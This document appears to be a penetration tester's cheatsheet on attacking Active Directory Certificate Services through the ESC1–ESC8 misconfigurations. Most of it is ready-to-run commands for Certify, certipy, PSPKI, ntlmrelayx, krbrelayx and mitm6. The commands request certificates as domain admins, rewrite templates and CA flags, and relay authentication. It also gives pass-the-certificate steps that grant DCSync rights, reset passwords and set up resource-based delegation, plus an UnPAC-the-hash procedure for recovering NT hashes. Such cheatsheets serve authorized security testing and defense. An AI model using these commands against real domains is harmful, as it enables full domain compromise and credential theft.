Skip to main content

Active Directory Certificate Services

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and other resources found on the web or through my experience. I will try to put as many links as possible at the end of the page to direct to more complete resources.

If you see a missing resource, a reference, or a copy right, please immediatly contact me on Twitter : @BlWasp_

A cheatsheet about the different AD-CS's ESC presented by SpecterOps. All the references and resources for the commands and techniques will be listed at the end of the page, for acknowledgments and explains.

Many commands come from here where I have participate for AD-CS - Don't hesitate to read all his blog and support him !

Is there a CA ?

Find the Cert Publishers group :
  • From UNIX-like systems: rpc net group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"
  • From Windows systems: net group "Cert Publishers" /domain
Find the PKI :
  • crackmapexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs
  • ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName

Find the CA from Windows : certutil –config – -ping

Enumerate the HTTP ports on the servers, enumerate the shares to find CertEnroll, etc

Template Attacks - ESC1, 2, 3

image-1640805125672.png

  • ESC1 : SAN authorized & Low Privileged Users can enroll & Authentication EKU
  • ESC2 : Low Privileged Users can enroll & Any or No EKU
  • ESC3 : Certificate Request Agent EKU & Enrollment agent restrictions are not implemented on the CA
    • A template allows a low-privileged user to use an enrollment agent certificate
    • Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication

ESC1 & 2 - Client Authentication with SAN

Windows

# Find vulnerable/abusable certificate templates using default low-privileged group
Certify.exe find /vulnerable

# Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser

# Request certificate with SAN
Certify.exe request /ca:'domain\ca' /template:"Vulnerable template" /altname:"admin"

# Convert PEM to PFX (from Linux)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

Linux

# Find vulnerable templates
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound

# Request certificate with SAN
certipy 'domain.local'/'user':'password'@'ca_server' req -ca 'ca_name' -template 'vulnerable template' -alt 'domain admin'

ESC2 & 3 - Certificate Request Agent EKU

If a certificate template specifies ANY EKU but no Client Authentication, it can be used as an ESC3.

Windows

# Request an enrollment agent certificate
Certify.exe request /ca:CA.contoso.local\CA /template:Vuln-EnrollAgentTemplate

# Request a certificate on behalf of another to a template that allow for domain authentication
Certify.exe request /ca:CA.contoso.local\CA /template:User /onbehalfon:CONTOSO\Admin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!

Linux

# Request a certificate specifying the Certificate Request Agent EKU
certipy req 'domain.local'/'user':'password'@'ca_server' -ca 'ca_name' -template 'vulnerable template'

# Used issued certificate to request another certificate on behalf of another user
certipy req 'domain.local'/'user':'password'@'ca_server' -ca 'ca_name' -template 'User' -on-behalf-of 'domain\domain admin' -pfx 'user.pfx'

Access Controls Attacks - ESC4, 5, 7

ESC4 : Sufficient rights against a template

  1. Get Enrollment rights for the vulnerable template
  2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
  3. Set mspki-ra-signature attribute to 0 for disabling Authorized Signature requirement
  4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag for specifying high privileged account name as a SAN
  5. Set mspki-certificate-application-policy to a certificate purpose for authentication
    • Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
    • Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
    • PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
    • Any Purpose (OID: 2.5.29.37.0)
    • No EKU
  6. Request a high privileged certificate for authentication and perform Pass-The-Ticket attack

Windows

# Add Certificate-Enrollment rights
Add-DomainObjectAcl -TargetIdentity templateName -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose

# Disabling Manager Approval Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose

# Disabling Authorized Signature Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose

# Enabling SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose

# Editting Certificate Application Policy Extension
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

Linux

Quick template override and restore
# Overwrite the certificate template and save the old configuration
certipy 'domain.local'/'user':'password'@'domaincontroller' template -template templateName -save-old

# After the ESC1 attack, restore the original configuration
certipy 'domain.local'/'user':'password'@'domaincontroller' template -template templateName -configuration 'templateName.json'
Precise template modification
# Query a certificate template (all attributes)
python3 modifyCertTemplate.py -template templateName contoso.local/user:pass

# Query the raw values of all template attributes
python3 modifyCertTemplate.py -template templateName -raw contoso.local/user:pass

# Query the ACL for a certificate template
python3 modifyCertTemplate.py -template templateName -get-acl contoso.local/user:pass


# Disabling Manager Approval Requirement
python3 modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag contoso.local/user:pass 

# Disabling Authorized Signature Requirement
python3 modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature contoso.local/user:pass 

# Enabling SAN Specification
python3 modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag contoso.local/user:pass 

# Editting Certificate Application Policy Extension
python3 modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy contoso.local/user:pass 

ESC5 : Sufficient rights against several objects

  • CA server’s AD computer object (i.e., compromise through RBCD)
  • The CA server’s RPC/DCOM server
  • Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM> (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services container, etc.)

ESC7 : Sufficient rights against the CA

https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse#vulnerable-ca-aces-esc7

Windows

  • If an attacker gains control over a principal that has the ManageCA right over the CA, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template
# If RSAT is not present on the machine
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0

# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.contoso.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.consoto.local\CA" -getreg "policy\EditFlags"
reg query \\CA.contoso.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags
  • If an attacker gains control over a principal that has the ManageCertificates right over the CA, he can remotely approve pending certificate requests, subvertnig the "CA certificate manager approval" protection
# Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
Certify.exe download /ca:CA.contoso.local\CA01 /id:1337

Linux

When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attributes, the built-in template SubCA can be usefull.
It is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user try to enroll in it with Certipy, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.
This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID.
  • With ManageCA right it is possible to promote new officier and enable templates
# Add a new officier
certipy 'domain.local'/'user':'password'@'domaincontroller' ca -ca 'ca_name' -add-officier 'user'

# List all the templates
certipy 'domain.local'/'user':'password'@'domaincontroller' ca -ca 'ca_name' -list-templates

# Enable a certificate template
certipy 'domain.local'/'user':'password'@'domaincontroller' ca -ca 'ca_name' -enable-template 'SubCA'
  • With ManageCertificates AND ManageCA it is possible to issue certificate from failed request
# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
certipy 'domain.local'/'user':'password'@'domaincontroller' ca -ca 'ca_name' -issue-request 100

# Retrieve an issued certificate
certipy 'domain.local'/'user':'password'@'domaincontroller' req -ca 'ca_name' -request 100

CA Configuration - ESC6

If the CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 is set, it is possible to specify a SAN in any certificate request

Windows

# Find info about CA
Certify.exe cas

# Find template for authent
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth

# Request certif with SAN
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"

Linux

# Verify if the flag is set
certipy 'domain.local'/'user':'password'@'domaincontroller' find | grep "User Specified SAN"

# Request certif with SAN
certipy 'domain.local'/'user':'password'@'ca_server' req -ca 'ca_name' -template 'certificate template' -alt 'domain admin'

HTTP Endpoint - ESC8

If the HTTP endpoint is up on the CA and it accept NTLM authentication, it is vulnerable to NTLM or Kerberos relay.

NTLM Relay

# Prepare relay
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Template name"
# Find a way to leak the machine or user Net-NTLM hash (Printerbug, Petitpotam, PrivExchange, etc)

Kerberos Relay

It is possible with the last versions of mitm6 and krbrelayx.

#Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine

#Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v

Pass-The-Certificate

With a certificate valid for authentication, it is possible to request a TGT via the PKINIT protocol.

Windows

# Information about a cert file
certutil -v -dump admin.pfx

# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

Linux

# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

If PKINIT is not working on the domain, LDAPS can be used to pass the certificate with PassTheCert.

Windows

  • Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>

#To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
  • Add computer account
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --add-computer --computer-name TEST$ --computer-password <password>
  • RBCD
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --rbcd --target "CN=DC,OU=Domain Controllers,DC=domain,DC=local" --sid <controlled_computer_SID>
  • Reset password
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --reset-password --target "CN=user1,OU=Users,DC=domain,DC=local" --new-password <new_password>

Linux

For RBCD attack.

#Create a new computer account
python3 passthecert.py -action add_computer -crt user.crt -key user.key -domain domain.local -dc-ip 10.0.0.1

#Add delegation rights
python3 passthecert.py -action write_rbcd -crt user.crt -key user.key -domain domain.local -dc-ip 10.0.0.1 -port 389 -delegate-to <created_computer> -delegate-from TARGET$

#Impersonation is now possible

UnPAC the Hash

When a TGT is requested with PKINIT, the LM:NT hash in added in the structure PAC_CREDENTIAL_INFO for futur use if Kerberos is not supported, and the PAC is ciphered with the krbtgt key. When a TGS is requested from the TGT, the same structure is added, but ciphered with the session key

The strucutre can be unciphered if a TGS-REQ U2U is realised

Windows

Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

Linux

# Request TGT
gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# Recover the NT hash with the key printed by gettgtpkinit.py
export KRB5CCNAME="TGT_CCACHE_FILE"
getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'

References